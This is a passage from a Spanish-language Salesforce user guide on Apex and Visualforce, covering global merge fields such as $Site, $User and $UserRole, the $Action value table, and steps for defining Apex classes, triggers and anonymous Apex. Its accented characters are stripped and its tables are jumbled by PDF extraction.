Devuelve un mensaje de error de la pgina actual si se ha


designado una pgina de error para el sitio y existe un error; de lo
contrario, devuelve una cadena vaca.

$Site.ErrorDescription

Devuelve la descripcin del error de la pgina actual si se ha


designado una pgina de error para el sitio y existe un error; de lo
contrario, devuelve una cadena vaca.

$Site.AnalyticsTrackingCode

El cdigo de seguimiento asociado con su sitio. Este cdigo se


puede utilizar con servicios como Google Analytics para realizar
el seguimiento de datos de solicitud de seguimiento de su sitio.

$Site.BaseCustomUrl

Devuelve una URL de base para el sitio actual que no utiliza un


subdominio de Force.com. La URL devuelta utiliza el mismo
protocolo (HTTP o HTTPS) que la solicitud actual si en el sitio existe
al menos una URL personalizada que no sea de Force.com y que
admita HTTPS. El valor devuelto nunca termina con el carcter /.
Si todas las URL personalizadas de este sitio terminan en
force.com o si este sitio no tiene URL personalizadas, entonces
devuelve una cadena vaca. Si la solicitud actual no es una solicitud
de sitio, entonces este mtodo devuelve una cadena vaca.
Este campo sustituye a CustomWebAddress e incluye el
prefijo de ruta de la URL personalizada.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 36

Campo de combinacin

Descripcin

$Site.BaseInsecureUrl

Devuelve una URL de base para el sitio actual que utiliza HTTP en
lugar de HTTPS. Se utiliza el dominio de la solicitud actual. El valor
devuelto incluye el prefijo de ruta y nunca termina con el carcter
/. Si la solicitud actual no es una solicitud de sitio, entonces este
mtodo devuelve una cadena vaca.

$Site.BaseRequestUrl

Devuelve la URL de base del sitio actual para la URL solicitada. A


esto no le influye la URL de la pgina de referencia. La URL devuelta
utiliza el mismo protocolo (HTTP o HTTPS) que la solicitud actual.
El valor devuelto incluye el prefijo de ruta y nunca termina con el
carcter /. Si la solicitud actual no es una solicitud de sitio,
entonces este mtodo devuelve una cadena vaca.

$Site.BaseSecureUrl

Devuelve una URL de base para el sitio actual que utiliza HTTPS
en lugar de HTTP. Se prefiere el dominio de la solicitud actual si
admite HTTPS. Se prefieren los dominios que no sean subdominios
de Force.com antes que los subdominios de Force.com. Se utiliza
un subdominio de Force.com, si est asociado con el sitio, en el
caso de que no exista ningn otro dominio HTTPS en el sitio actual.
Si no hay ninguna URL personalizada HTTPS en el sitio, entonces
este mtodo devuelve una cadena vaca. El valor devuelto incluye
el prefijo de ruta y nunca termina con el carcter /. Si la solicitud
actual no es una solicitud de sitio, entonces este mtodo devuelve
una cadena vaca.

$Site.BaseUrl

Devuelve la URL de base del sitio actual que deberan utilizar las
referencias y los vnculos. Tenga en cuenta que este campo puede
devolver la URL de la pgina de referencia en lugar de la URL de
la solicitud actual. El valor de este campo incluye el prefijo de ruta
y nunca termina con el carcter /. Si la solicitud actual no es una
solicitud de sitio, entonces este campo devuelve una cadena vaca.
Este campo sustituye a $Site.CurrentSiteUrl.

$Site.MasterLabel

Devuelve el valor del campo Etiqueta principal del sitio actual. Si


la solicitud actual no es una solicitud de sitio, entonces este campo
devuelve una cadena vaca.

$Site.SiteId

Devuelve el Id. del sitio actual. Si la solicitud actual no es una


solicitud de sitio, entonces este campo devuelve una cadena vaca.

$Site.SiteType

Devuelve el valor de la API del campo Tipo del sitio del sitio actual.
Si la solicitud actual no es una solicitud de sitio, entonces este
campo devuelve una cadena vaca.

$Site.SiteTypeLabel

Devuelve el valor de la etiqueta del campo Tipo del sitio del sitio
actual. Si la solicitud actual no es una solicitud de sitio, entonces
este campo devuelve una cadena vaca.

Mejora de Salesforce mediante cdigo

Ejemplo de
Visualforce:

Gua del usuario | Apex y Visualforce | 37

El ejemplo siguiente muestra cmo se utiliza el campo de combinacin $Site.Template:


<apex:page title="Job Application Confirmation" showHeader="false"
standardStylesheets="true">
<!-- The site template provides layout & style for the site -->
<apex:composition template="{!$Site.Template}">
<apex:define name="body">
<apex:form>
<apex:commandLink value="<- Back to Job Search"
onclick="window.top.location='{!$Page.PublicJobs}';return
false;"/>
<br/>
<br/>
<center>
<apex:outputText value="Your application has been saved.
Thank you for your interest!"/>
</center>
<br/>
<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>

Sugerencias:

Esta variable global est disponible en pginas de Visualforce, plantillas de correo electrnico y s-control.

$System.OriginDateTime
Descripcin:

Campo de combinacin global que representa el valor literal de


1900-01-01 00:00:00. Utilice esta variable global al realizar clculos
de compensacin de fecha/hora o asignar un valor literal a un
campo de fecha/hora.

Uso:

1. Seleccionar el tipo de campo: $System.


2. Seleccione Hora de fecha de origen de la opcin
Insertar campo de combinacin.

Ejemplo de frmula:

El ejemplo siguiente muestra cmo convertir un campo de fecha


en un campo de fecha/hora. Utiliza la fecha del campo de
combinacin Hora de fecha de origen para obtener
el nmero de das desde un campo personalizado denominado
Mi campo de fecha. A continuacin, agrega el nmero de
das al valor Hora de fecha de origen.
$System.OriginDatetime + ( My_Date_Field__c
- DATEVALUE($System.OriginDatetime) )

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 38

Nota: La Hora de fecha de origen est en la


zona horaria GMT, pero el resultado se muestra en la zona
horaria local del usuario.
Ejemplo de Visualforce:

El ejemplo siguiente calcula el nmero de das que han transcurrido


desde el 1 de enero de 1900:
{!NOW() - $System.OriginDateTime}

Sugerencias:

Esta variable global est disponible en las pginas de Visualforce,


valores predeterminados, actualizaciones de campo, campos de
frmula, S-control y reglas de validacin.

$User
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer


referencia a informacin sobre el usuario actual. Los campos de
combinacin del usuario pueden hacer referencia a la informacin
sobre el usuario, como el alias, cargo e Id.

Uso:

1. Seleccionar el tipo de campo: $User.


2. Seleccione un campo de combinacin como
$User.Username.

Ejemplo de regla de validacin:

La frmula de regla de validacin siguiente hace referencia al Id.


del usuario actual para determinar si el usuario actual es el
propietario del registro. Utilice un ejemplo como este para
asegurarse de que nicamente el propietario del registro o usuarios
con perfil de administrador pueden modificar un campo
personalizado denominado Objetivo personal:
AND( ISCHANGED( Personal_Goal__c ), Owner
<> $User.Id, $Profile.Name <>
"Custom: System Admin" )

Ejemplo de Visualforce:

El siguiente ejemplo muestra el nombre actual de la compaa del


usuario, as como el estado del usuario actual (que devuelve un
valor booleano).
<apex:page>
<h1>Congratulations</h1>
This is your new Apex Page
<p>The current company name for this
user is: {!$User.CompanyName}</p>
<p>Is the user active?
{!$User.isActive}</p>
</apex:page>

Mejora de Salesforce mediante cdigo

Sugerencias:

Gua del usuario | Apex y Visualforce | 39

El usuario actual es la persona que modifica el registro que


solicita el valor predefinido, la regla de validacin u otra
operacin que utiliza estos campos de combinacin globales.
Si un proceso de Caso Web o Candidato Web modifica un
registro, el usuario actual es el Propietario
predeterminado del candidato o
Propietario predeterminado de caso.
Si una actualizacin de campo de flujo de trabajo modifica un
registro, el usuario es el Usuario de flujo de
trabajo predeterminado.
Algunos de los campos de combinacin $User estn
disponibles cuando se definen filtros de configuraciones de
Mobile.

$User.UITheme y $User.UIThemeDisplayed
Descripcin:

Estos campos de combinacin globales identifican el aspecto de


Salesforce que ve un usuario en una pgina Web en concreto.
La diferencia entre las dos variables es que $User.UITheme
devuelve el aspecto que se supone que debe ver el usuario,
mientras que $User.UIThemeDisplayed devuelve el
aspecto que el usuario ve realmente. Por ejemplo, puede que un
usuario tenga los permisos para ver el aspecto del tema de la nueva
interfaz de usuario, pero si est utilizando un navegador que no
admita ese aspecto, por ejemplo, Internet Explorer 6,
$User.UIThemeDisplayed devolver un valor diferente.

Uso:

Utilice estas variables para identificar el archivo CSS utilizado para


mostrar las pgina Web de Salesforce a un usuario. Ambas variables
devuelven uno de los valores siguientes:
Tema1: Tema obsoleto de Salesforce
Tema2: tema de Salesforce utilizado antes de Spring 10
ValorPredeterminadoDePortal: tema del portal de
clientes de Salesforce
Tienda Web: tema de AppExchange de Salesforce
Tema3: tema actual de Salesforce, introducido en Spring 10

Ejemplo de Visualforce:

El siguiente ejemplo indica cmo puede mostrar diferentes


formatos basados en el tema de un usuario:
<apex:page>
<apex:pageBlock title="My Content"
rendered="{!$User.UITheme == 'Theme2'}">
// this is the old theme...
</apex:pageBlock>

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 40

<apex:pageBlock title="My Content"


rendered="{!$User.UITheme == 'Theme3'}">
//this is the new theme ...
</apex:pageBlock>
</apex:page>

$UserRole
Descripcin:

Tipo de campo de combinacin global que se debe utilizar al hacer


referencia a informacin sobre la funcin del usuario actual. Los
campos de combinacin de funciones pueden hacer referencia a
informacin como el nombre de la funcin, descripcin e Id.

Uso:

1. Seleccionar el tipo de campo: $UserRole.


2. Seleccione un campo de combinacin como
$UserRole.Name.

Ejemplo de regla de validacin:

La frmula de la regla de validacin siguiente hace referencia al


nombre de funcin del usuario que se va a validar, que un campo
personalizado denominado Porcentaje de descuento
no supera el valor mximo permitido para esa funcin:
Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,

$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Ejemplo de Visualforce:

Sugerencias:

{!$UserRole.LastModifiedById}

El usuario actual es la persona que modifica el registro que


solicita el valor predefinido, la regla de validacin u otra
operacin que utiliza estos campos de combinacin globales.
Si un proceso de Caso Web o Candidato Web modifica un
registro, el usuario actual es el Propietario
predeterminado del candidato o
Propietario predeterminado de caso.
Si una actualizacin de campo de flujo de trabajo modifica un
registro, el usuario es el Usuario de flujo de
trabajo predeterminado.
Nota: No puede utilizar los siguientes valores
$UserRole en Visualforce:
CaseAccessForAccountOwner

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 41

ContactAccessForAccountOwner
OpportunityAccessForAccountOwner
PortalType

CONSULTE TAMBIN
Valores vlidos para la variable global $Action

Valores vlidos para la variable global $Action


La siguiente tabla enumera las acciones a las que puede hacer referencia con la variable global
$Action y los objetos sobre los que puede realizar estas acciones. Todos los objetos admiten
acciones bsicas, como crear nuevo, duplicar, ver, modificar, enumerar y eliminar. La variable global
$Action tambin hace referencia a acciones disponibles en numerosos objetos estndar. Los
valores disponibles en su organizacin pueden diferir en funcin de las funciones que active.
Valor

Descripcin

Objetos

Aceptar

Acepta un registro.

Grupos de anuncios

EDICIONES
Variable global de
$Action disponible en:
todas las ediciones

PERMISOS DE USUARIO
Caso
Evento
Campaa de Google
Palabra clave
Candidato
Frase de bsqueda
Versin de SFGA
Anuncio de texto

Activar

Activa un contrato.

Contrato

Agregar

Agrega un producto a una lista Producto 2


de precios.

Agregar campaa

Agrega un miembro de
campaa.

Agregar influencia

Agrega una campaa a la lista Oportunidad


de oportunidades influyentes
de una oportunidad.

Agregar producto

Agrega un producto a una lista Partida de oportunidad


de precios.

Aadir a campaa

Agrega un contacto o
candidato a una campaa.

Campaa

Contacto
Candidato

Para crear, modificar y


eliminar Custom S-Control,
frmulas o pginas de
Visualforce:
Personalizar aplicacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 42

Agregar a Outlook

Agrega un evento a Microsoft Outlook.

Evento

Configuracin avanzada

Inicia la configuracin avanzada de


campaas.

Campaa

Noticias de Altavista

Inicia www.altavista.com/news/. Cuenta


Candidato

Cancelar

Cancela un evento.

Evento

Seleccin de caso

Especifica un caso para una solucin.

Solucin

Cambiar propietario

Cambia el propietario de un registro.

Cuenta
Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidatos
Oportunidades
Frase de bsqueda
Versin de SFGA
Anuncio de texto

Cambiar estado

Cambia el estado de un caso.

Caso
Candidato

Lista de precios

Selecciona el libro de precios para usar.

Partida de oportunidad

Duplicar

Duplica un registro.

Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 43

Frase de bsqueda
Versin de SFGA
Anuncio de texto
Objetos personalizados
Duplicar como secundario

Crea un caso relacionado con los detalles


de un caso principal.

Caso

Cerrar caso

Cierra un caso.

Caso

Convertir

Crea una cuenta, contacto y oportunidad


usando la informacin de un candidato.

Candidato

Convertir candidato

Convierte un candidato en un miembro de Miembro de la campaa


campaa.

Crear oportunidad

Crea una oportunidad en funcin de un


miembro de campaa.

Miembro de la campaa

Declinar

Declina un evento.

Evento

Eliminar

Elimina un registro.

Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto
Objetos personalizados

Eliminar serie

Elimina una serie de eventos o tareas.

Evento
Tarea

Deshabilitar portal de clientes

Deshabilita un usuario del portal de clientes. Contacto

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 44

Deshabilitar cuenta del portal de clientes

Deshabilita una cuenta del portal de


clientes.

Cuenta

Deshabilitar portal de socios

Deshabilita un usuario del portal de socios. Contacto

Deshabilitar cuenta de socio

Deshabilita una cuenta del portal de socios. Cuenta

Descargar

Descarga un archivo adjunto.

Archivo adjunto
Documento

Modificar

Modifica un registro.

Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto
Objetos personalizados

Modificar todo Producto

Modifica todos los productos de una lista


de precios.

Partida de oportunidad

Activar como socio

Designa una cuenta como cuenta de socio. Cuenta

Habilitar usuario de socio

Habilita un contacto como usuario del portal Contacto


de socios.

Habilitar autoservicio

Habilita un contacto como usuario del portal Contacto


de socios.

Buscar duplicados

Muestra los candidatos duplicados.

Candidato

Evento de seguimiento

Crea un evento de seguimiento.

Evento

Tarea de seguimiento

Crea una tarea de seguimiento.

Evento

Mejora de Salesforce mediante cdigo

Perfil financiero de Hoovers

Gua del usuario | Apex y Visualforce | 45

Muestra un perfil de Hoovers.

Cuenta
Candidato

Incluir Offline

Incluye un registro de cuenta en Connect


Offline:

Cuenta

Google Maps

Muestra una direccin en Google Maps.

Cuenta
Contacto
Candidato

Google News

Muestra www.google.com/news.

Cuenta
Contacto
Candidato

Google Search

Muestra www.google.com.

Cuenta
Contacto
Candidato

Lista

Enumera los registros de un objeto.

Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Anuncio de texto
Objetos personalizados

Registrar llamada

Registra una llamada.

Actividad

Combinar correo

Genera una combinacin de correo.

Actividad

Gestionar miembros

Inicia la pgina Gestionar miembros.

Campaa

Cierre masivo

Cierra mltiples casos.

Caso

Combinar

Combina contactos.

Contacto

Nuevo

Crea un nuevo registro.

Actividad

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 46

Grupos de anuncios
Activo
Campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto
Objetos personalizados
Nueva tarea

Crea una tarea.

Tarea

Solicitar actualizacin

Solicita una actualizacin.

Contacto
Actividad

Seleccionar autoservicio

Registra a un usuario como usuario de


autoservicio.

Solucin

Enviar correo electrnico

Enva un correo electrnico.

Actividad

Enviar a Gmail

Abre un correo electrnico en blanco en


Gmail.

Contacto

Ordenar

Ordena los productos de una lista de


precios.

Partida de oportunidad

Compartir

Comparte un registro.

Cuenta

Candidato

Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidato

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 47

Oportunidad
Frase de bsqueda
Versin de SFGA
Anuncio de texto
Enviar para aprobacin

Enva un registro para su aprobacin.

Cuenta
Actividad
Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Tarea
Anuncio de texto

Ficha

Accede a la ficha de un objeto.

Grupos de anuncios
Campaa
Caso
Contacto
Contrato
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 48

Anuncio de texto
Ver

Muestra un registro.

Actividad
Grupos de anuncios
Activo
Campaa
Miembro de campaa
Caso
Contacto
Contrato
Evento
Campaa de Google
Palabra clave
Candidato
Oportunidad
Producto de oportunidad
Producto
Frase de bsqueda
Versin de SFGA
Solucin
Anuncio de texto
Objetos personalizados

Ver todos Miembros de campaa

Enumera todos los miembros de una


campaa.

Campaa

Ver informe de influencia de la campaa

Muestra el informe Campaas con


oportunidades influidas.

Campaa

Ver usuario del portal de socios

Enumera todos los usuarios del portal de


socios.

Contacto

Ver autoservicio

Enumera todos los usuarios de autoservicio. Contacto

Yahoo Maps

Muestra una direccin en Yahoo! Maps.

Cuenta
Contacto
Candidato

Yahoo Weather

Muestra
http://weather.yahoo.com/.

CONSULTE TAMBIN
Concepto de variables globales

Contacto

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 49

Cdigo Apex
Descripcin general del cdigo Apex
Apex es un lenguaje de secuencia centrado en objetos y muy definido que permite a los
desarrolladores ejecutar declaraciones de control de transacciones y flujos en el servidor de la
plataforma Force.com junto con llamadas a la API de Force.com. Gracias a una sintaxis parecida a
Java y un funcionamiento similar a los procedimientos almacenados en una base de datos, Apex
permite a los desarrolladores agregar la lgica empresarial a la mayora de los eventos del sistema,
entre los que se incluyen el hacer clic en los botones, las actualizaciones de registros relacionados
y las pginas de Visualforce . Los cdigos de Apex pueden iniciarse mediante solicitudes de servicio
Web y a partir de desencadenadores en objetos.

EDICIONES
Disponible en: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

Apex se puede almacenar en la plataforma de dos formas distintas:


Una clase es una plantilla o estructura a partir de la cual se crean objetos Apex. Las clases estn compuestas por otras clases, mtodos
definidos por el usuario, variables, tipos de excepcin y cdigo de inicializacin esttico desde Configuracin, en Desarrollo >
Clases de Apex . Consulte Gestin de clases de Apex en la pgina 55.
Un desencadenador es un cdigo Apex que se ejecuta antes o despus de que sucedan eventos especficos de lenguaje de
manipulacin de datos (DML), como antes de insertar en la base de datos registros de objetos o despus de eliminar registros. Los
desencadenadores se almacenan como metadatos en Salesforce. Una lista de todos los desencadenadores de su organizacin se
encuentra en Configuracin en Desarrollo > Desencadenadores de Apex . Consulte Gestin de desencadenadores de Apex en
la pgina 56.
Apex por lo general se ejecuta en un contexto de sistema, lo que quiere decir que durante la ejecucin del cdigo no se tienen en cuenta
los permisos, la seguridad a nivel de campo ni las reglas de colaboracin del usuario actual.
Las pruebas de unidad deben cubrir al menos el 75% de Apex antes de que usted pueda desarrollar su cdigo en entornos de produccin.
Adems, todos los desencadenadores deben tener alguna cobertura de prueba. Consulte Acerca de pruebas de unidad Apex en la pgina
241.
Una vez creadas sus clases y desencadenadores, as como sus comprobaciones, vuelva a reproducir la ejecucin mediante la Consola
de desarrollador.
Nota: Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce solo en una organizacin de
Developer Edition, una organizacin de prueba de Salesforce Enterprise Edition o una organizacin de sandbox. En una organizacin
de produccin de Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de la API de
metadatos, el IDE de Force.com o la Herramienta de migracin de Force.com. El IDE de Force.com y la herramienta de migracin
de Force.com son recursos gratuitos proporcionados por salesforce.com para ayudar a sus usuarios y socios, pero no se consideran
parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de salesforce.com.
Para obtener ms informacin sobre la sintaxis y el uso de Apex, consulte la Gua del desarrollador del cdigo Apex de Force.com.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 50

Definicin de clases de Apex


Las clases de Apex se almacenan como metadatos en Salesforce.
Nota: Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce
solo en una organizacin de Developer Edition, una organizacin de prueba de Salesforce
Enterprise Edition o una organizacin de sandbox. En una organizacin de produccin de
Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de
la API de metadatos, el IDE de Force.com o la Herramienta de migracin de
Force.com. El IDE de Force.com y la herramienta de migracin de Force.com son recursos
gratuitos proporcionados por salesforce.com para ayudar a sus usuarios y socios, pero no se
consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de
salesforce.com.
Para crear una clase:
1. Desde Configuracin, haga clic en Desarrollo > Clases de Apex .
2. Haga clic en Nuevo.

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition

PERMISOS DE USUARIO
Para definir, modificar,
eliminar, configurar la
seguridad, definir la
configuracin de la versin,
mostrar dependencias y
ejecutar pruebas de clases
de Apex:
Autor de Apex

3. Haga clic en Configuracin de versin para especificar la versin de Apex y la API utilizada
con esta clase. Si su organizacin tiene paquetes gestionados instalados de AppExchange,
tambin puede especificar qu versin de cada paquete gestionado debe utilizarse con esta
clase. Utilice los valores predeterminados para todas las versiones. Esto asocia la clase con la
versin ms reciente de Apex y la API, as como cada paquete gestionado. Puede especificar
una versin anterior de un paquete gestionado si desea acceder a componentes o funciones diferentes a los de la versin ms
reciente del paquete. Puede especificar una versin anterior de Apex y la API para mantener un comportamiento especfico.

4. En el editor de clase, introduzca el cdigo Apex de la clase. Una clase nica puede tener hasta 1 milln de caracteres, sin incluir
comentarios, mtodos de comprobacin o clases definidas mediante @isTest.
5. Haga clic en Guardar para guardar los cambios y volver a la pantalla de detalles de clase o haga clic en Guardar rpido para guardar
los cambios y continuar modificando la clase. Su clase de Apex debe compilarse correctamente antes de poder guardarla.
Una vez guardadas, se puede recurrir a las clases a travs de los mtodos o las variables de otro cdigo Apex, como un desencadenador.
Nota: Para permitir la compatibilidad con versiones anteriores, las clases se almacenan con la configuracin de una versin
especificada de Apex y la API. Si la clase de Apex hace referencia a componentes, como un objeto personalizado, en paquetes
gestionados instalados, tambin se guarda la configuracin de versin de los paquetes gestionados a los que hace referencia dicha
clase. Adicionalmente, las clases se almacenan con una marca Es vlido que se define como verdadero siempre que los
metadatos dependientes no hayan cambiado desde que la clase se compil por ltima vez. Si se realiza cualquier cambio en los
nombres o campos de objetos que se utilizan en la clase, incluidos los cambios superficiales como las modificaciones de una
descripcin de objeto o campo, o si las modificaciones se aplican a una clase que recurre a esta clase, la marca Es vlido se
define como falsa. Cuando un desencadenador o llamada de servicio Web invoca a la clase, el cdigo vuelve a compilarse y
se notifica al usuario si hay algn error. Si no hay errores, se restablece la marca Es vlido como verdadero.
CONSULTE TAMBIN
Gestin de clases de Apex
Vista de clases de Apex
Gestin de la configuracin de versin de Apex

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 51

Definicin de desencadenadores de Apex


Los desencadenadores de Apex se almacenan como metadatos en la aplicacin bajo el objeto con
el que se asocian.
Nota: Puede agregar, modificar o eliminar Apex utilizando la interfaz de usuario de Salesforce
solo en una organizacin de Developer Edition, una organizacin de prueba de Salesforce
Enterprise Edition o una organizacin de sandbox. En una organizacin de produccin de
Salesforce, solo podr realizar cambios de Apex utilizando la llamada Implementacin de
la API de metadatos, el IDE de Force.com o la Herramienta de migracin de
Force.com. El IDE de Force.com y la herramienta de migracin de Force.com son recursos
gratuitos proporcionados por salesforce.com para ayudar a sus usuarios y socios, pero no se
consideran parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de
salesforce.com.
Para definir un desencadenador:
1. Para un objeto estndar, en Configuracin, haga clic en Personalizar, haga clic en el nombre
del objeto y, a continuacin, haga clic en Desencadenadores.
Para definir un objeto personalizado, en Configuracin, haga clic en Crear > Objetos y haga
clic en el nombre del objeto.
Para los miembros de campaa, en Configuracin, haga clic en Personalizar > Campaas >
Miembro de campaa > Desencadenadores.

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition,
Enterprise Edition y
Database.com Edition
Los objetos estndar,
campaas, casos y correos
electrnicos no estn
disponibles en
Database.com.

PERMISOS DE USUARIO
Para definir
desencadenadores de
Apex:
"Apex de autor"

Para comentarios de casos, en Configuracin, haga clic en Personalizar > Casos > Comentarios
de casos > Desencadenadores.
Para mensajes de correo electrnico, en Configuracin, haga clic en Personalizar > Casos > Mensajes de correo electrnico >
Desencadenadores.
Para comentarios en ideas, en Configuracin, haga clic en Personalizar > Ideas > Comentarios de ideas > Desencadenadores.
Para los objetos estndar Archivos adjuntos, Documento de contenido y Nota, no puede crear un desencadenador en la interfaz de
usuario de Salesforce. Para estos objetos, cree un desencadenador utilizando herramientas de desarrollo, como la Consola del
desarrollador o el IDE de Force.com. Tambin puede utilizar la API de metadatos.
2. En la lista relacionada Desencadenadores, haga clic en Nuevo.
3. Haga clic en Configuracin de versin para especificar la versin de Apex y la API utilizadas con este desencadenador. Si su organizacin
tiene paquetes gestionados instalados de AppExchange, tambin puede especificar qu versin de cada paquete gestionado debe
utilizarse con este desencadenador. Utilice los valores predeterminados para todas las versiones. Esto asocia el desencadenador con
la versin ms reciente de Apex y la API, as como cada paquete gestionado. Puede especificar una versin anterior de un paquete
gestionado si desea acceder a componentes o funciones diferentes a los de la versin ms reciente del paquete.
4. Haga clic en Desencadenador de Apex y seleccione la casilla de verificacin Est activo si el desencadenador se debe compilar
y activar. Deje esta casilla de verificacin sin seleccionar si slo desea almacenar el cdigo en los metadatos de su organizacin. Esta
casilla de verificacin se selecciona de forma predeterminada.
5. En el cuadro de texto Cuerpo, introduzca el Apex del desencadenador. Un desencadenador simple puede tener hasta 1 milln de
caracteres de longitud.
Para definir un desencadenador, utilice la siguiente sintaxis:
trigger triggerName on ObjectName (trigger_events) {

code_block
}

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 52

donde eventos_desencadenador puede ser una lista separada por comas de uno o ms de los siguientes eventos:
antes de insercin
antes de actualizacin
antes de eliminacin
despus de insercin
despus de actualizacin
despus de eliminacin
despus de restauracin
Nota:
Slo puede utilizar la palabra clave webService en un desencadenador cuando se encuentre en un mtodo definido
como asncrono, es decir, cuando el mtodo se defina con la palabra clave @future.
Un desencadenador invocado por una insercin, eliminacin o actualizacin de un evento o tarea
recurrente produce como resultado un error de tiempo de ejecucin cuando el desencadenador se llama en bruto desde
la API de Force.com.
6. Haga clic en Guardar.
Nota: Los desencadenadores se almacenan con una marca Es vlido que se define como verdadero siempre que los
metadatos dependientes no hayan cambiado desde que el desencadenador se compil por ltima vez. Si se realiza cualquier
cambio en los nombres o campos de objetos que se utilizan en el desencadenador, incluidos los cambios superficiales como las
modificaciones de una descripcin de objeto o campo, la marca Es vlido se define como falsa hasta que el compilador
del Apex reprocese el cdigo. La nueva compilacin se produce en la prxima ejecucin del desencadenador o cuando un usuario
vuelve a guardar el desencadenador en metadatos.
Si un campo de bsqueda hace referencia a un registro que se ha eliminado, Salesforce borra el valor del campo de bsqueda de
forma predeterminada. Tambin puede seleccionar evitar la eliminacin de registros si estn en una relacin de bsqueda.

CONSULTE TAMBIN
Gestin de desencadenadores de Apex
Gestin de la configuracin de versin de Apex

Cdigo Apex de ejecucin annima


La Consola del desarrollador le permite ejecutar cdigos de Apex como otra forma de generar registros de depuracin que cubren una
lgica de aplicacin especfica.
Permisos de usuario necesarios
Para ejecutar Apex annimo:

Apex de autor

La herramienta Ejecutar Apex annima en la Consola del desarrollador ejecuta el cdigo de Apex que introduce utilizando
ExecuteAnonymous y genera un registro de depuracin con los resultados de la ejecucin.
PRECAUCIN: Si llama a una clase que contenga un testMethod, se ejecutarn todas las declaraciones DML del mtodo de
prueba. Esta accin puede agregar datos no deseados a su organizacin.
1. Haga clic en Depuracin > Abrir ventana de ejecucin annima para abrir la ventana Introducir cdigo Apex.

Mejora de Salesforce mediante cdigo

2.

Gua del usuario | Apex y Visualforce | 53

Introduzca el cdigo que desea ejecutar en la ventana Introducir cdigo Apex o haga clic en
para abrir el editor de cdigos en
una nueva ventana del navegador. Para abrir automticamente el registro de depuracin obtenido al finalizar la ejecucin, seleccione
Abrir registro.
Nota: No puede utilizar la palabra clave static en cdigo annimo.

3. Ejecutar el cdigo:
a. Para ejecutar todo el cdigo de la ventana, haga clic en Ejecutar o pulse CTRL+E.
b. Para ejecutar solo las lneas de cdigo seleccionadas, seleccione las lneas y haga clic en Ejecutar elementos resaltados o
pulse CTRL+Mays+E.
4. Si ha seleccionado Abrir registro, el registro se abrir automticamente en el Inspector de registros. Cuando se ejecute el cdigo,
el registro de depuracin aparecer en la ficha Registros. Haga doble clic en el registro para abrirlo en el Inspector de registros.
5. Para ejecutar el mismo cdigo de nuevo sin realizar cambios, haga clic en Depuracin > ltima ejecucin. Si no desea modificar
el cdigo, haga clic en Depuracin > Abrir ventana de ejecucin annima para abrir la ventana Introducir cdigo Apex con al
entrada anterior.
CONSULTE TAMBIN
Men de depuracin
Inspector de registros
Uso de registros de depuracin
Ficha Registros

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 54

Procesamiento de excepciones de paquetes gestionados de Apex


Cuando cree un paquete gestionado para AppExchange de Force.com, puede especificar un usuario
que recibir una notificacin por correo electrnico cuando se produzca una excepcin que no
contenga Apex. Las excepciones ajenas pueden proceder de:
Una accin de Visualforce o un mtodo similar
Un mtodo de un servicio Web
Un desencadenador
El correo electrnico que se enva tiene el formato siguiente:

EDICIONES
Disponible en: Performance
Edition, Unlimited Edition,
Developer Edition y
Enterprise Edition

PERMISOS DE USUARIO
Para crear paquetes:
Crear paquetes de
AppExchange de
Force.com
Para cargar paquetes:
Cargar paquetes de
